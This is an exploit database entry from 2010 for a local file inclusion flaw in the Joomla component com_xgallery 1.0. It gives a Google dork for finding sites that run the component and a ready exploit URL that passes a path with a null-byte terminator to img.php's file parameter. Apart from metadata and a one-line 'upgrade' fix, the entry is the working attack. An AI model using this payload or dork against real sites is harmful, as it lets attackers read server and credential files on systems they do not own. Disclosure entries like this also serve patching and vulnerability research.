Joomla! Component com_xgallery 1.0 - Local File Inclusion

Author: KelvinX
type: webapps
platform: php
port: 
date_added: 2010-12-21 
date_updated: 2016-11-02 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Joomla Component com_xgallery 1.0 Local File Inclusion Vulnerability
# Author: KelvinX (kelvinxgr@gmail.com)
# Websites: http://xgroup.vn, http://kelvinx.net, http://facebook.com/kelvinxgr
# Date: December, 21-2010
# Location: HCM City, Vietnam

 ------------------------

# Application: com_xgallery
# Version: 1.0
# Vendor: http://www.optikool.com/documentation/xmovie-component
# Google Dorks: inurl:com_xgallery

------------------------

Exploit: http://127.0.0.1/[path]/components/com_xgallery/helpers/img.php?file=[LFI]%00

------------------------

# Solution: Upgrade to the most recent version